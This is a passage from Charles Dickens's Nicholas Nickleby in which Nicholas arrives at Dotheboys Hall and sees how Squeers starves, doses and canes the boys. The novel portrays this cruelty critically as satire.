Nicholas and the boys standing +with the luggage in the road, to amuse themselves by looking at the +coach as it changed horses, while he ran into the tavern and went +through the leg-stretching process at the bar. After some minutes, +he returned, with his legs thoroughly stretched, if the hue of his +nose and a short hiccup afforded any criterion; and at the same time +there came out of the yard a rusty pony-chaise, and a cart, driven +by two labouring men. + +'Put the boys and the boxes into the cart,' said Squeers, rubbing +his hands; 'and this young man and me will go on in the chaise. Get +in, Nickleby.' + +Nicholas obeyed. Mr. Squeers with some difficulty inducing the +pony to obey also, they started off, leaving the cart-load of infant +misery to follow at leisure. + +'Are you cold, Nickleby?' inquired Squeers, after they had travelled +some distance in silence. + +'Rather, sir, I must say.' + +'Well, I don't find fault with that,' said Squeers; 'it's a long +journey this weather.' + +'Is it much farther to Dotheboys Hall, sir?' asked Nicholas. + +'About three mile from here,' replied Squeers. 'But you needn't +call it a Hall down here.' + +Nicholas coughed, as if he would like to know why. + +'The fact is, it ain't a Hall,' observed Squeers drily. + +'Oh, indeed!' said Nicholas, whom this piece of intelligence much +astonished. + +'No,' replied Squeers. 'We call it a Hall up in London, because it +sounds better, but they don't know it by that name in these parts. +A man may call his house an island if he likes; there's no act of +Parliament against that, I believe?' + +'I believe not, sir,' rejoined Nicholas. + +Squeers eyed his companion slyly, at the conclusion of this little +dialogue, and finding that he had grown thoughtful and appeared in +nowise disposed to volunteer any observations, contented himself +with lashing the pony until they reached their journey's end. + +'Jump out,' said Squeers. 'Hallo there! Come and put this horse +up. Be quick, will you!' + +While the schoolmaster was uttering these and other impatient cries, +Nicholas had time to observe that the school was a long, cold- +looking house, one storey high, with a few straggling out-buildings +behind, and a barn and stable adjoining. After the lapse of a +minute or two, the noise of somebody unlocking the yard-gate was +heard, and presently a tall lean boy, with a lantern in his hand, +issued forth. + +'Is that you, Smike?' cried Squeers. + +'Yes, sir,' replied the boy. + +'Then why the devil didn't you come before?' + +'Please, sir, I fell asleep over the fire,' answered Smike, with +humility. + +'Fire! what fire? Where's there a fire?' demanded the schoolmaster, +sharply. + +'Only in the kitchen, sir,' replied the boy. 'Missus said as I was +sitting up, I might go in there for a warm.' + +'Your missus is a fool,' retorted Squeers. 'You'd have been a +deuced deal more wakeful in the cold, I'll engage.' + +By this time Mr Squeers had dismounted; and after ordering the boy +to see to the pony, and to take care that he hadn't any more corn +that night, he told Nicholas to wait at the front-door a minute +while he went round and let him in. + +A host of unpleasant misgivings, which had been crowding upon +Nicholas during the whole journey, thronged into his mind with +redoubled force when he was left alone. His great distance from +home and the impossibility of reaching it, except on foot, should he +feel ever so anxious to return, presented itself to him in most +alarming colours; and as he looked up at the dreary house and dark +windows, and upon the wild country round, covered with snow, he felt +a depression of heart and spirit which he had never experienced +before. + +'Now then!' cried Squeers, poking his head out at the front-door. +'Where are you, Nickleby?' + +'Here, sir,' replied Nicholas. + +'Come in, then,' said Squeers 'the wind blows in, at this door, fit +to knock a man off his legs.' + +Nicholas sighed, and hurried in. Mr Squeers, having bolted the door +to keep it shut, ushered him into a small parlour scantily furnished +with a few chairs, a yellow map hung against the wall, and a couple +of tables; one of which bore some preparations for supper; while, on +the other, a tutor's assistant, a Murray's grammar, half-a-dozen +cards of terms, and a worn letter directed to Wackford Squeers, +Esquire, were arranged in picturesque confusion. + +They had not been in this apartment a couple of minutes, when a +female bounced into the room, and, seizing Mr Squeers by the throat, +gave him two loud kisses: one close after the other, like a +postman's knock. The lady, who was of a large raw-boned figure, was +about half a head taller than Mr Squeers, and was dressed in a +dimity night-jacket; with her hair in papers; she had also a dirty +nightcap on, relieved by a yellow cotton handkerchief which tied it +under the chin. + +'How is my Squeery?' said this lady in a playful manner, and a very +hoarse voice. + +'Quite well, my love,' replied Squeers. 'How's the cows?' + +'All right, every one of'em,' answered the lady. + +'And the pigs?' said Squeers. + +'As well as they were when you went away.' + +'Come; that's a blessing,' said Squeers, pulling off his great-coat. +'The boys are all as they were, I suppose?' + +'Oh, yes, they're well enough,' replied Mrs Squeers, snappishly. +'That young Pitcher's had a fever.' + +'No!' exclaimed Squeers. 'Damn that boy, he's always at something +of that sort.' + +'Never was such a boy, I do believe,' said Mrs Squeers; 'whatever he +has is always catching too. I say it's obstinacy, and nothing shall +ever convince me that it isn't. I'd beat it out of him; and I told +you that, six months ago.' + +'So you did, my love,' rejoined Squeers. 'We'll try what can be +done.' + +Pending these little endearments, Nicholas had stood, awkwardly +enough, in the middle of the room: not very well knowing whether he +was expected to retire into the passage, or to remain where he was. +He was now relieved from his perplexity by Mr Squeers. + +'This is the new young man, my dear,' said that gentleman. + +'Oh,' replied Mrs Squeers, nodding her head at Nicholas, and eyeing +him coldly from top to toe. + +'He'll take a meal with us tonight,' said Squeers, 'and go among the +boys tomorrow morning. You can give him a shake-down here, tonight, +can't you?' + +'We must manage it somehow,' replied the lady. 'You don't much mind +how you sleep, I suppose, sir?' + +No, indeed,' replied Nicholas, 'I am not particular.' + +'That's lucky,' said Mrs Squeers. And as the lady's humour was +considered to lie chiefly in retort, Mr Squeers laughed heartily, +and seemed to expect that Nicholas should do the same. + +After some further conversation between the master and mistress +relative to the success of Mr Squeers's trip and the people who had +paid, and the people who had made default in payment, a young +servant girl brought in a Yorkshire pie and some cold beef, which +being set upon the table, the boy Smike appeared with a jug of ale. + +Mr Squeers was emptying his great-coat pockets of letters to +different boys, and other small documents, which he had brought down +in them. The boy glanced, with an anxious and timid expression, at +the papers, as if with a sickly hope that one among them might +relate to him. The look was a very painful one, and went to +Nicholas's heart at once; for it told a long and very sad history. + +It induced him to consider the boy more attentively, and he was +surprised to observe the extraordinary mixture of garments which +formed his dress. Although he could not have been less than +eighteen or nineteen years old, and was tall for that age, he wore a +skeleton suit, such as is usually put upon very little boys, and +which, though most absurdly short in the arms and legs, was quite +wide enough for his attenuated frame. In order that the lower part +of his legs might be in perfect keeping with this singular dress, he +had a very large pair of boots, originally made for tops, which +might have been once worn by some stout farmer, but were now too +patched and tattered for a beggar. Heaven knows how long he had +been there, but he still wore the same linen which he had first +taken down; for, round his neck, was a tattered child's frill, only +half concealed by a coarse, man's neckerchief. He was lame; and as +he feigned to be busy in arranging the table, glanced at the letters +with a look so keen, and yet so dispirited and hopeless, that +Nicholas could hardly bear to watch him. + +'What are you bothering about there, Smike?' cried Mrs Squeers; 'let +the things alone, can't you?' + +'Eh!' said Squeers, looking up. 'Oh! it's you, is it?' + +'Yes, sir,' replied the youth, pressing his hands together, as +though to control, by force, the nervous wandering of his fingers. +'Is there--' + +'Well!' said Squeers. + +'Have you--did anybody--has nothing been heard--about me?' + +'Devil a bit,' replied Squeers testily. + +The lad withdrew his eyes, and, putting his hand to his face, moved +towards the door. + +'Not a word,' resumed Squeers, 'and never will be. Now, this is a +pretty sort of thing, isn't it, that you should have been left here, +all these years, and no money paid after the first six--nor no +notice taken, nor no clue to be got who you belong to? It's a +pretty sort of thing that I should have to feed a great fellow like +you, and never hope to get one penny for it, isn't it?' + +The boy put his hand to his head as if he were making an effort to +recollect something, and then, looking vacantly at his questioner, +gradually broke into a smile, and limped away. + +'I'll tell you what, Squeers,' remarked his wife as the door closed, +'I think that young chap's turning silly.' + +'I hope not,' said the schoolmaster; 'for he's a handy fellow out of +doors, and worth his meat and drink, anyway. I should think he'd +have wit enough for us though, if he was. But come; let's have +supper, for I am hungry and tired, and want to get to bed.' + +This reminder brought in an exclusive steak for Mr Squeers, who +speedily proceeded to do it ample justice. Nicholas drew up his +chair, but his appetite was effectually taken away. + +'How's the steak, Squeers?' said Mrs S. + +'Tender as a lamb,' replied Squeers. 'Have a bit.' + +'I couldn't eat a morsel,' replied his wife. 'What'll the young man +take, my dear?' + +'Whatever he likes that's present,' rejoined Squeers, in a most +unusual burst of generosity. + +'What do you say, Mr Knuckleboy?' inquired Mrs Squeers. + +'I'll take a little of the pie, if you please,' replied Nicholas. +'A very little, for I'm not hungry.' + +Well, it's a pity to cut the pie if you're not hungry, isn't it?' +said Mrs Squeers. 'Will you try a bit of the beef?' + +'Whatever you please,' replied Nicholas abstractedly; 'it's all the +same to me.' + +Mrs Squeers looked vastly gracious on receiving this reply; and +nodding to Squeers, as much as to say that she was glad to find the +young man knew his station, assisted Nicholas to a slice of meat +with her own fair hands. + +'Ale, Squeery?' inquired the lady, winking and frowning to give him +to understand that the question propounded, was, whether Nicholas +should have ale, and not whether he (Squeers) would take any. + +'Certainly,' said Squeers, re-telegraphing in the same manner. 'A +glassful.' + +So Nicholas had a glassful, and being occupied with his own +reflections, drank it, in happy innocence of all the foregone +proceedings. + +'Uncommon juicy steak that,' said Squeers, as he laid down his knife +and fork, after plying it, in silence, for some time. + +'It's prime meat,' rejoined his lady. 'I bought a good large piece +of it myself on purpose for--' + +'For what!' exclaimed Squeers hastily. 'Not for the--' + +'No, no; not for them,' rejoined Mrs Squeers; 'on purpose for you +against you came home. Lor! you didn't think I could have made such +a mistake as that.' + +'Upon my word, my dear, I didn't know what you were going to say,' +said Squeers, who had turned pale. + +'You needn't make yourself uncomfortable,' remarked his wife, +laughing heartily. 'To think that I should be such a noddy! Well!' + +This part of the conversation was rather unintelligible; but popular +rumour in the neighbourhood asserted that Mr Squeers, being amiably +opposed to cruelty to animals, not unfrequently purchased for by +consumption the bodies of horned cattle who had died a natural +death; possibly he was apprehensive of having unintentionally +devoured some choice morsel intended for the young gentlemen. + +Supper being over, and removed by a small servant girl with a hungry +eye, Mrs Squeers retired to lock it up, and also to take into safe +custody the clothes of the five boys who had just arrived, and who +were half-way up the troublesome flight of steps which leads to +death's door, in consequence of exposure to the cold. They were +then regaled with a light supper of porridge, and stowed away, side +by side, in a small bedstead, to warm each other, and dream of a +substantial meal with something hot after it, if their fancies set +that way: which it is not at all improbable they did. + +Mr Squeers treated himself to a stiff tumbler of brandy and water, +made on the liberal half-and-half principle, allowing for the +dissolution of the sugar; and his amiable helpmate mixed Nicholas +the ghost of a small glassful of the same compound. This done, Mr +and Mrs Squeers drew close up to the fire, and sitting with their +feet on the fender, talked confidentially in whispers; while +Nicholas, taking up the tutor's assistant, read the interesting +legends in the miscellaneous questions, and all the figures into the +bargain, with as much thought or consciousness of what he was doing, +as if he had been in a magnetic slumber. + +At length, Mr Squeers yawned fearfully, and opined that it was high +time to go to bed; upon which signal, Mrs Squeers and the girl +dragged in a small straw mattress and a couple of blankets, and +arranged them into a couch for Nicholas. + +'We'll put you into your regular bedroom tomorrow, Nickelby,' said +Squeers. 'Let me see! Who sleeps in Brooks's's bed, my dear?' + +'In Brooks's,' said Mrs Squeers, pondering. 'There's Jennings, +little Bolder, Graymarsh, and what's his name.' + +'So there is,' rejoined Squeers. 'Yes! Brooks is full.' + +'Full!' thought Nicholas. 'I should think he was.' + +'There's a place somewhere, I know,' said Squeers; 'but I can't at +this moment call to mind where it is. However, we'll have that all +settled tomorrow. Good-night, Nickleby. Seven o'clock in the +morning, mind.' + +'I shall be ready, sir,' replied Nicholas. 'Good-night.' + +'I'll come in myself and show you where the well is,' said Squeers. +'You'll always find a little bit of soap in the kitchen window; that +belongs to you.' + +Nicholas opened his eyes, but not his mouth; and Squeers was again +going away, when he once more turned back. + +'I don't know, I am sure,' he said, 'whose towel to put you on; but +if you'll make shift with something tomorrow morning, Mrs Squeers +will arrange that, in the course of the day. My dear, don't +forget.' + +'I'll take care,' replied Mrs Squeers; 'and mind YOU take care, +young man, and get first wash. The teacher ought always to have it; +but they get the better of him if they can.' + +Mr Squeers then nudged Mrs Squeers to bring away the brandy bottle, +lest Nicholas should help himself in the night; and the lady having +seized it with great precipitation, they retired together. + +Nicholas, being left alone, took half-a-dozen turns up and down the +room in a condition of much agitation and excitement; but, growing +gradually calmer, sat himself down in a chair, and mentally +resolved that, come what come might, he would endeavour, for a time, +to bear whatever wretchedness might be in store for him, and that +remembering the helplessness of his mother and sister, he would give +his uncle no plea for deserting them in their need. Good +resolutions seldom fail of producing some good effect in the mind +from which they spring. He grew less desponding, and--so sanguine +and buoyant is youth--even hoped that affairs at Dotheboys Hall +might yet prove better than they promised. + +He was preparing for bed, with something like renewed cheerfulness, +when a sealed letter fell from his coat pocket. In the hurry of +leaving London, it had escaped his attention, and had not occurred +to him since, but it at once brought back to him the recollection of +the mysterious behaviour of Newman Noggs. + +'Dear me!' said Nicholas; 'what an extraordinary hand!' + +It was directed to himself, was written upon very dirty paper, and +in such cramped and crippled writing as to be almost illegible. +After great difficulty and much puzzling, he contrived to read as +follows:-- + +My dear young Man. + +I know the world. Your father did not, or he would not have done +me a kindness when there was no hope of return. You do not, or you +would not be bound on such a journey. + +If ever you want a shelter in London (don't be angry at this, I once +thought I never should), they know where I live, at the sign of the +Crown, in Silver Street, Golden Square. It is at the corner of +Silver Street and James Street, with a bar door both ways. You can +come at night. Once, nobody was ashamed--never mind that. It's all +over. + +Excuse errors. I should forget how to wear a whole coat now. I +have forgotten all my old ways. My spelling may have gone with +them. + +NEWMAN NOGGS. + +P.S. If you should go near Barnard Castle, there is good ale at the +King's Head. Say you know me, and I am sure they will not charge +you for it. You may say Mr Noggs there, for I was a gentleman then. +I was indeed. + + +It may be a very undignified circumstances to record, but after he +had folded this letter and placed it in his pocket-book, Nicholas +Nickleby's eyes were dimmed with a moisture that might have been +taken for tears. + + + +CHAPTER 8 + +Of the Internal Economy of Dotheboys Hall + + +A ride of two hundred and odd miles in severe weather, is one of the +best softeners of a hard bed that ingenuity can devise. Perhaps it +is even a sweetener of dreams, for those which hovered over the +rough couch of Nicholas, and whispered their airy nothings in his +ear, were of an agreeable and happy kind. He was making his fortune +very fast indeed, when the faint glimmer of an expiring candle shone +before his eyes, and a voice he had no difficulty in recognising as +part and parcel of Mr Squeers, admonished him that it was time to +rise. + +'Past seven, Nickleby,' said Mr Squeers. + +'Has morning come already?' asked Nicholas, sitting up in bed. + +'Ah! that has it,' replied Squeers, 'and ready iced too. Now, +Nickleby, come; tumble up, will you?' + +Nicholas needed no further admonition, but 'tumbled up' at once, and +proceeded to dress himself by the light of the taper, which Mr +Squeers carried in his hand. + +'Here's a pretty go,' said that gentleman; 'the pump's froze.' + +'Indeed!' said Nicholas, not much interested in the intelligence. + +'Yes,' replied Squeers. 'You can't wash yourself this morning.' + +'Not wash myself!' exclaimed Nicholas. + +'No, not a bit of it,' rejoined Squeers tartly. 'So you must be +content with giving yourself a dry polish till we break the ice in +the well, and can get a bucketful out for the boys. Don't stand +staring at me, but do look sharp, will you?' + +Offering no further observation, Nicholas huddled on his clothes. +Squeers, meanwhile, opened the shutters and blew the candle out; +when the voice of his amiable consort was heard in the passage, +demanding admittance. + +'Come in, my love,' said Squeers. + +Mrs Squeers came in, still habited in the primitive night-jacket +which had displayed the symmetry of her figure on the previous +night, and further ornamented with a beaver bonnet of some +antiquity, which she wore, with much ease and lightness, on the top +of the nightcap before mentioned. + +'Drat the things,' said the lady, opening the cupboard; 'I can't +find the school spoon anywhere.' + +'Never mind it, my dear,' observed Squeers in a soothing manner; +'it's of no consequence.' + +'No consequence, why how you talk!' retorted Mrs Squeers sharply; +'isn't it brimstone morning?' + +'I forgot, my dear,' rejoined Squeers; 'yes, it certainly is. We +purify the boys' bloods now and then, Nickleby.' + +'Purify fiddlesticks' ends,' said his lady. 'Don't think, young +man, that we go to the expense of flower of brimstone and molasses, +just to purify them; because if you think we carry on the business +in that way, you'll find yourself mistaken, and so I tell you +plainly.' + +'My dear,' said Squeers frowning. 'Hem!' + +'Oh! nonsense,' rejoined Mrs Squeers. 'If the young man comes to be +a teacher here, let him understand, at once, that we don't want any +foolery about the boys. They have the brimstone and treacle, partly +because if they hadn't something or other in the way of medicine +they'd be always ailing and giving a world of trouble, and partly +because it spoils their appetites and comes cheaper than breakfast +and dinner. So, it does them good and us good at the same time, and +that's fair enough I'm sure.' + +Having given this explanation, Mrs Squeers put her head into the +closet and instituted a stricter search after the spoon, in which Mr +Squeers assisted. A few words passed between them while they were +thus engaged, but as their voices were partially stifled by the +cupboard, all that Nicholas could distinguish was, that Mr Squeers +said what Mrs Squeers had said, was injudicious, and that Mrs +Squeers said what Mr Squeers said, was 'stuff.' + +A vast deal of searching and rummaging ensued, and it proving +fruitless, Smike was called in, and pushed by Mrs Squeers, and boxed +by Mr Squeers; which course of treatment brightening his intellects, +enabled him to suggest that possibly Mrs Squeers might have the +spoon in her pocket, as indeed turned out to be the case. As Mrs +Squeers had previously protested, however, that she was quite +certain she had not got it, Smike received another box on the ear +for presuming to contradict his mistress, together with a promise of +a sound thrashing if he were not more respectful in future; so that +he took nothing very advantageous by his motion. + +'A most invaluable woman, that, Nickleby,' said Squeers when his +consort had hurried away, pushing the drudge before her. + +'Indeed, sir!' observed Nicholas. + +'I don't know her equal,' said Squeers; 'I do not know her equal. +That woman, Nickleby, is always the same--always the same bustling, +lively, active, saving creetur that you see her now.' + +Nicholas sighed involuntarily at the thought of the agreeable +domestic prospect thus opened to him; but Squeers was, fortunately, +too much occupied with his own reflections to perceive it. + +'It's my way to say, when I am up in London,' continued Squeers, +'that to them boys she is a mother. But she is more than a mother +to them; ten times more. She does things for them boys, Nickleby, +that I don't believe half the mothers going, would do for their own +sons.' + +'I should think they would not, sir,' answered Nicholas. + +Now, the fact was, that both Mr and Mrs Squeers viewed the boys in +the light of their proper and natural enemies; or, in other words, +they held and considered that their business and profession was to +get as much from every boy as could by possibility be screwed out of +him. On this point they were both agreed, and behaved in unison +accordingly. The only difference between them was, that Mrs Squeers +waged war against the enemy openly and fearlessly, and that Squeers +covered his rascality, even at home, with a spice of his habitual +deceit; as if he really had a notion of someday or other being able +to take himself in, and persuade his own mind that he was a very +good fellow. + +'But come,' said Squeers, interrupting the progress of some thoughts +to this effect in the mind of his usher, 'let's go to the +schoolroom; and lend me a hand with my school-coat, will you?' + +Nicholas assisted his master to put on an old fustian shooting- +jacket, which he took down from a peg in the passage; and Squeers, +arming himself with his cane, led the way across a yard, to a door +in the rear of the house. + +'There,' said the schoolmaster as they stepped in together; 'this is +our shop, Nickleby!' + +It was such a crowded scene, and there were so many objects to +attract attention, that, at first, Nicholas stared about him, really +without seeing anything at all. By degrees, however, the place +resolved itself into a bare and dirty room, with a couple of +windows, whereof a tenth part might be of glass, the remainder being +stopped up with old copy-books and paper. There were a couple of +long old rickety desks, cut and notched, and inked, and damaged, in +every possible way; two or three forms; a detached desk for Squeers; +and another for his assistant. The ceiling was supported, like that +of a barn, by cross-beams and rafters; and the walls were so stained +and discoloured, that it was impossible to tell whether they had +ever been touched with paint or whitewash. + +But the pupils--the young noblemen! How the last faint traces of +hope, the remotest glimmering of any good to be derived from his +efforts in this den, faded from the mind of Nicholas as he looked in +dismay around! Pale and haggard faces, lank and bony figures, +children with the countenances of old men, deformities with irons +upon their limbs, boys of stunted growth, and others whose long +meagre legs would hardly bear their stooping bodies, all crowded on +the view together; there were the bleared eye, the hare-lip, the +crooked foot, and every ugliness or distortion that told of +unnatural aversion conceived by parents for their offspring, or of +young lives which, from the earliest dawn of infancy, had been one +horrible endurance of cruelty and neglect. There were little faces +which should have been handsome, darkened with the scowl of sullen, +dogged suffering; there was childhood with the light of its eye +quenched, its beauty gone, and its helplessness alone remaining; +there were vicious-faced boys, brooding, with leaden eyes, like +malefactors in a jail; and there were young creatures on whom the +sins of their frail parents had descended, weeping even for the +mercenary nurses they had known, and lonesome even in their +loneliness. With every kindly sympathy and affection blasted in its +birth, with every young and healthy feeling flogged and starved +down, with every revengeful passion that can fester in swollen +hearts, eating its evil way to their core in silence, what an +incipient Hell was breeding here! + +And yet this scene, painful as it was, had its grotesque features, +which, in a less interested observer than Nicholas, might have +provoked a smile. Mrs Squeers stood at one of the desks, presiding +over an immense basin of brimstone and treacle, of which delicious +compound she administered a large instalment to each boy in +succession: using for the purpose a common wooden spoon, which might +have been originally manufactured for some gigantic top, and which +widened every young gentleman's mouth considerably: they being all +obliged, under heavy corporal penalties, to take in the whole of the +bowl at a gasp. In another corner, huddled together for +companionship, were the little boys who had arrived on the preceding +night, three of them in very large leather breeches, and two in old +trousers, a something tighter fit than drawers are usually worn; at +no great distance from these was seated the juvenile son and heir of +Mr Squeers--a striking likeness of his father--kicking, with great +vigour, under the hands of Smike, who was fitting upon him a pair of +new boots that bore a most suspicious resemblance to those which the +least of the little boys had worn on the journey down--as the little +boy himself seemed to think, for he was regarding the appropriation +with a look of most rueful amazement. Besides these, there was a +long row of boys waiting, with countenances of no pleasant +anticipation, to be treacled; and another file, who had just escaped +from the infliction, making a variety of wry mouths indicative of +anything but satisfaction. The whole were attired in such motley, +ill-assorted, extraordinary garments, as would have been +irresistibly ridiculous, but for the foul appearance of dirt, +disorder, and disease, with which they were associated. + +'Now,' said Squeers, giving the desk a great rap with his cane, +which made half the little boys nearly jump out of their boots, 'is +that physicking over?' + +'Just over,' said Mrs Squeers, choking the last boy in her hurry, +and tapping the crown of his head with the wooden spoon to restore +him. 'Here, you Smike; take away now. Look sharp!' + +Smike shuffled out with the basin, and Mrs Squeers having called up +a little boy with a curly head, and wiped her hands upon it, hurried +out after him into a species of wash-house, where there was a small +fire and a large kettle, together with a number of little wooden +bowls which were arranged upon a board. + +Into these bowls, Mrs Squeers, assisted by the hungry servant, +poured a brown composition, which looked like diluted pincushions +without the covers, and was called porridge. A minute wedge of +brown bread was inserted in each bowl, and when they had eaten their +porridge by means of the bread, the boys ate the bread itself, and +had finished their breakfast; whereupon Mr Squeers said, in a solemn +voice, 'For what we have received, may the Lord make us truly +thankful!'--and went away to his own. + +Nicholas distended his stomach with a bowl of porridge, for much the +same reason which induces some savages to swallow earth--lest they +should be inconveniently hungry when there is nothing to eat. +Having further disposed of a slice of bread and butter, allotted to +him in virtue of his office, he sat himself down, to wait for +school-time. + +He could not but observe how silent and sad the boys all seemed to +be. There was none of the noise and clamour of a schoolroom; none +of its boisterous play, or hearty mirth. The children sat crouching +and shivering together, and seemed to lack the spirit to move about. +The only pupil who evinced the slightest tendency towards locomotion +or playfulness was Master Squeers, and as his chief amusement was to +tread upon the other boys' toes in his new boots, his flow of +spirits was rather disagreeable than otherwise. + +After some half-hour's delay, Mr Squeers reappeared, and the boys +took their places and their books, of which latter commodity the +average might be about one to eight learners. A few minutes having +elapsed, during which Mr Squeers looked very profound, as if he had +a perfect apprehension of what was inside all the books, and could +say every word of their contents by heart if he only chose to take +the trouble, that gentleman called up the first class. + +Obedient to this summons there ranged themselves in front of the +schoolmaster's desk, half-a-dozen scarecrows, out at knees and +elbows, one of whom placed a torn and filthy book beneath his +learned eye. + +'This is the first class in English spelling and philosophy, +Nickleby,' said Squeers, beckoning Nicholas to stand beside him. +'We'll get up a Latin one, and hand that over to you. Now, then, +where's the first boy?' + +'Please, sir, he's cleaning the back-parlour window,' said the +temporary head of the philosophical class. + +'So he is, to be sure,' rejoined Squeers. 'We go upon the practical +mode of teaching, Nickleby; the regular education system. C-l-e-a- +n, clean, verb active, to make bright, to scour. W-i-n, win, d-e-r, +der, winder, a casement. When the boy knows this out of book, he +goes and does it. It's just the same principle as the use of the +globes. Where's the second boy?' + +'Please, sir, he's weeding the garden,' replied a small voice. + +'To be sure,' said Squeers, by no means disconcerted. 'So he is. +B-o-t, bot, t-i-n, tin, bottin, n-e-y, ney, bottinney, noun +substantive, a knowledge of plants. When he has learned that +bottinney means a knowledge of plants, he goes and knows 'em. +That's our system, Nickleby: what do you think of it?' + +'It's very useful one, at any rate,' answered Nicholas. + +'I believe you,' rejoined Squeers, not remarking the emphasis of his +usher. 'Third boy, what's horse?' + +'A beast, sir,' replied the boy. + +'So it is,' said Squeers. 'Ain't it, Nickleby?' + +'I believe there is no doubt of that, sir,' answered Nicholas. + +'Of course there isn't,' said Squeers. 'A horse is a quadruped, and +quadruped's Latin for beast, as everybody that's gone through the +grammar knows, or else where's the use of having grammars at all?' + +'Where, indeed!' said Nicholas abstractedly. + +'As you're perfect in that,' resumed Squeers, turning to the boy, +'go and look after MY horse, and rub him down well, or I'll rub you +down. The rest of the class go and draw water up, till somebody +tells you to leave off, for it's washing-day tomorrow, and they want +the coppers filled.' + +So saying, he dismissed the first class to their experiments in +practical philosophy, and eyed Nicholas with a look, half cunning +and half doubtful, as if he were not altogether certain what he +might think of him by this time. + +'That's the way we do it, Nickleby,' he said, after a pause. + +Nicholas shrugged his shoulders in a manner that was scarcely +perceptible, and said he saw it was. + +'And a very good way it is, too,' said Squeers. 'Now, just take +them fourteen little boys and hear them some reading, because, you +know, you must begin to be useful. Idling about here won't do.' + +Mr Squeers said this, as if it had suddenly occurred to him, either +that he must not say too much to his assistant, or that his +assistant did not say enough to him in praise of the establishment. +The children were arranged in a semicircle round the new master, and +he was soon listening to their dull, drawling, hesitating recital of +those stories of engrossing interest which are to be found in the +more antiquated spelling-books. + +In this exciting occupation, the morning lagged heavily on. At one +o'clock, the boys, having previously had their appetites thoroughly +taken away by stir-about and potatoes, sat down in the kitchen to +some hard salt beef, of which Nicholas was graciously permitted to +take his portion to his own solitary desk, to eat it there in peace. +After this, there was another hour of crouching in the schoolroom +and shivering with cold, and then school began again. + +It was Mr Squeer's custom to call the boys together, and make a sort +of report, after every half-yearly visit to the metropolis, +regarding the relations and friends he had seen, the news he had +heard, the letters he had brought down, the bills which had been +paid, the accounts which had been left unpaid, and so forth. This +solemn proceeding always took place in the afternoon of the day +succeeding his return; perhaps, because the boys acquired strength +of mind from the suspense of the morning, or, possibly, because Mr +Squeers himself acquired greater sternness and inflexibility from +certain warm potations in which he was wont to indulge after his +early dinner. Be this as it may, the boys were recalled from house- +window, garden, stable, and cow-yard, and the school were assembled +in full conclave, when Mr Squeers, with a small bundle of papers in +his hand, and Mrs S. following with a pair of canes, entered the +room and proclaimed silence. + +'Let any boy speak a word without leave,' said Mr Squeers mildly, +'and I'll take the skin off his back.' + +This special proclamation had the desired effect, and a deathlike +silence immediately prevailed, in the midst of which Mr Squeers went +on to say: + +'Boys, I've been to London, and have returned to my family and you, +as strong and well as ever.' + +According to half-yearly custom, the boys gave three feeble cheers +at this refreshing intelligence. Such cheers! Sights of extra +strength with the chill on. + +'I have seen the parents of some boys,' continued Squeers, turning +over his papers, 'and they're so glad to hear how their sons are +getting on, that there's no prospect at all of their going away, +which of course is a very pleasant thing to reflect upon, for all +parties.' + +Two or three hands went to two or three eyes when Squeers said this, +but the greater part of the young gentlemen having no particular +parents to speak of, were wholly uninterested in the thing one way +or other. + +'I have had diappointments to contend against,' said Squeers, +looking very grim; 'Bolder's father was two pound ten short. Where +is Bolder?' + +'Here he is, please sir,' rejoined twenty officious voices. Boys +are very like men to be sure. + +'Come here, Bolder,' said Squeers. + +An unhealthy-looking boy, with warts all over his hands, stepped +from his place to the master's desk, and raised his eyes imploringly +to Squeers's face; his own, quite white from the rapid beating of +his heart. + +'Bolder,' said Squeers, speaking very slowly, for he was +considering, as the saying goes, where to have him. 'Bolder, if you +father thinks that because--why, what's this, sir?' + +As Squeers spoke, he caught up the boy's hand by the cuff of his +jacket, and surveyed it with an edifying aspect of horror and +disgust. + +'What do you call this, sir?' demanded the schoolmaster, +administering a cut with the cane to expedite the reply. + +'I can't help it, indeed, sir,' rejoined the boy, crying. 'They +will come; it's the dirty work I think, sir--at least I don't know +what it is, sir, but it's not my fault.' + +'Bolder,' said Squeers, tucking up his wristbands, and moistening +the palm of his right hand to get a good grip of the cane, 'you're +an incorrigible young scoundrel, and as the last thrashing did you +no good, we must see what another will do towards beating it out of +you.' + +With this, and wholly disregarding a piteous cry for mercy, Mr +Squeers fell upon the boy and caned him soundly: not leaving off, +indeed, until his arm was tired out. + +'There,' said Squeers, when he had quite done; 'rub away as hard as +you like, you won't rub that off in a hurry. Oh! you won't hold +that noise, won't you? Put him out, Smike.' + +The drudge knew better from long experience, than to hesitate about +obeying, so he bundled the victim out by a side-door, and Mr Squeers +perched himself again on his own stool, supported by Mrs Squeers, +who occupied another at his side. + +'Now let us see,' said Squeers. 'A letter for Cobbey. Stand up, +Cobbey.' + +Another boy stood up, and eyed the letter very hard while Squeers +made a mental abstract of the same. + +'Oh!' said Squeers: 'Cobbey's grandmother is dead, and his uncle +John has took to drinking, which is all the news his sister sends, +except eighteenpence, which will just pay for that broken square of +glass. Mrs Squeers, my dear, will you take the money?' + +The worthy lady pocketed the eighteenpence with a most business-like +air, and Squeers passed on to the next boy, as coolly as possible. + +'Graymarsh,' said Squeers, 'he's the next. Stand up, Graymarsh.' + +Another boy stood up, and the schoolmaster looked over the letter as +before. + +'Graymarsh's maternal aunt,' said Squeers, when he had possessed +himself of the contents, 'is very glad to hear he's so well and +happy, and sends her respectful compliments to Mrs Squeers, and +thinks she must be an angel. She likewise thinks Mr Squeers is too +good for this world; but hopes he may long be spared to carry on the +business. Would have sent the two pair of stockings as desired, but +is short of money, so forwards a tract instead, and hopes Graymarsh +will put his trust in Providence. Hopes, above all, that he will +study in everything to please Mr and Mrs Squeers, and look upon them +as his only friends; and that he will love Master Squeers; and not +object to sleeping five in a bed, which no Christian should. Ah!' +said Squeers, folding it up, 'a delightful letter. Very affecting +indeed.' + +It was affecting in one sense, for Graymarsh's maternal aunt was +strongly supposed, by her more intimate friends, to be no other than +his maternal parent; Squeers, however, without alluding to this part +of the story (which would have sounded immoral before boys), +proceeded with the business by calling out 'Mobbs,' whereupon +another boy rose, and Graymarsh resumed his seat. + +'Mobbs's step-mother,' said Squeers, 'took to her bed on hearing +that he wouldn't eat fat, and has been very ill ever since. She +wishes to know, by an early post, where he expects to go to, if he +quarrels with his vittles; and with what feelings he could turn up +his nose at the cow's-liver broth, after his good master had asked a +blessing on it. This was told her in the London newspapers--not by +Mr Squeers, for he is too kind and too good to set anybody against +anybody--and it has vexed her so much, Mobbs can't think. She is +sorry to find he is discontented, which is sinful and horrid, and +hopes Mr Squeers will flog him into a happier state of mind; with +which view, she has also stopped his halfpenny a week pocket-money, +and given a double-bladed knife with a corkscrew in it to the 